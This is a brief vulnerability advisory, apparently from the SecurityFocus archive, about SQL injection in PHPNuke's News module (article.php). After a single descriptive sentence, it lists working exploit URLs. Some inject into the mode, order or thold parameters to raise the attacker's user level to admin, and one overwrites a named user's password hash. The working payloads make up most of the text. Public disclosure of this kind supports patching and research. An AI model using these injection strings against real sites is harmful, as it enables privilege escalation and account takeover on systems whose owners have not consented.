source: https://www.securityfocus.com/bid/7172/info

It has been reported that an input validation error exists in the article.php file included with PHPNuke as part of the News module. Because of this, an attacker could send a malicious string through PHPNuke that would allow the attacker to manipulate the database, and gain unauthorized access to user accounts.

if magic_quotes_gpc=OFF :

Change our level (into admin) :
http://www.example.com/modules.php?name=News&file=article&sid=1&save=1&mode=',user_level='4

or

http://www.example.com/modules.php?name=News&file=article&sid=1&save=1&order=',user_level='4

or

http://www.example.com/modules.php?name=News&file=article&sid=1&save=1&thold=',user_level='4


Change the user Bob's password :
http://www.example.com/modules.php?name=News&file=article&sid=1&save=1&order=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*